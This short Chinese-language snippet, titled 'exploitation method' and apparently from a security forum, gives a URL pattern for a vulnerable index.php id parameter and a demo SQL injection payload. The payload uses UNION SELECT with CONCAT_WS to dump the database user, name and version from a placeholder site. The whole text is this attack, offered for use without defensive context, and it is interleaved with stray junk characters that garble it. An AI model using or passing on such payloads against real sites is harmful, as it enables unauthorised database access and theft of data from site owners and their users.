利用方法:1 X8 I! n( S- s/ K: s2 R' W
http://www.xxx.com/index.php?id=[SQL]4 V% {& T% @# i1 W3 {
Demo:
/ _! M" H0 ^6 P3 E2 s" }$ F http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |